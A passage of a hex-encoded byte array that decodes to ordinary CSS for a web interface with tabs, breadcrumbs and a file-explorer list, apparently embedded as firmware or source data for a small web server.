0x6F, 0x6E, 0x2E, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, - 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x74, 0x6F, 0x6E, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, - 0x20, 0x54, 0x61, 0x62, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x7B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x61, 0x6E, 0x69, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x66, 0x61, 0x64, 0x65, 0x45, 0x66, 0x66, 0x65, 0x63, 0x74, 0x20, 0x30, 0x2E, 0x35, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2E, 0x73, 0x68, 0x6F, 0x77, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x40, 0x6B, 0x65, 0x79, 0x66, 0x72, 0x61, 0x6D, 0x65, 0x73, 0x20, 0x66, 0x61, 0x64, 0x65, 0x45, 0x66, 0x66, 0x65, 0x63, 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x72, 0x6F, - 0x6D, 0x20, 0x7B, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x30, 0x3B, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, 0x20, 0x7B, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, - 0x3A, 0x20, 0x31, 0x3B, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x20, - 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x3A, 0x20, 0x77, 0x72, 0x61, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x2D, 0x69, - 0x74, 0x65, 0x6D, 0x73, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, - 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, - 0x62, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, - 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x2D, 0x66, 0x61, 0x64, 0x65, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, - 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x34, 0x70, 0x78, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x77, - 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x62, 0x6F, 0x6C, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x63, 0x6F, - 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, - 0x75, 0x6D, 0x62, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x3A, 0x68, 0x6F, 0x76, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, - 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x2E, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x3A, 0x3A, 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0x2F, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, - 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x37, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x3A, 0x6C, 0x61, 0x73, 0x74, 0x2D, - 0x63, 0x68, 0x69, 0x6C, 0x64, 0x3A, 0x3A, 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0x27, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x62, 0x72, 0x65, 0x61, 0x64, 0x63, 0x72, 0x75, 0x6D, 0x62, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x3A, - 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6C, - 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x46, 0x69, 0x6C, 0x65, 0x20, 0x45, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, - 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x6C, 0x69, 0x73, 0x74, 0x2D, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x2D, 0x74, 0x79, 0x70, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, - 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, - 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x33, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, - 0x6C, 0x69, 0x67, 0x6E, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x73, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x69, 0x66, 0x79, - 0x2D, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x73, 0x70, 0x61, 0x63, 0x65, 0x2D, 0x62, 0x65, 0x74, 0x77, 0x65, 0x65, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, - 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, - 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, - 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x62, 0x67, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, - 0x2D, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, - 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x74, 0x6F, 0x70, 0x3A, - 0x20, 0x30, 0x2E, 0x35, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x30, 0x2E, 0x35, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, - 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, - 0x73, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x74, 0x6F, 0x70, 0x29, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x74, 0x6F, 0x70, 0x29, 0x20, 0x76, 0x61, 0x72, - 0x28, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x29, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, - 0x30, 0x2E, 0x33, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, 0x3A, 0x68, 0x6F, 0x76, 0x65, 0x72, 0x3A, 0x68, 0x61, 0x73, 0x28, 0x2E, 0x66, 0x69, - 0x6C, 0x65, 0x2D, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x66, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, - 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x74, 0x6F, 0x6E, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, 0x3A, 0x66, 0x69, 0x72, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, - 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, 0x3A, - 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, - 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x2D, 0x6C, 0x69, 0x2D, 0x62, 0x72, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x6C, 0x69, 0x3A, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, - 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x35, 0x34, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, - 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x59, 0x28, 0x2D, 0x35, 0x30, 0x25, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, - 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2D, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 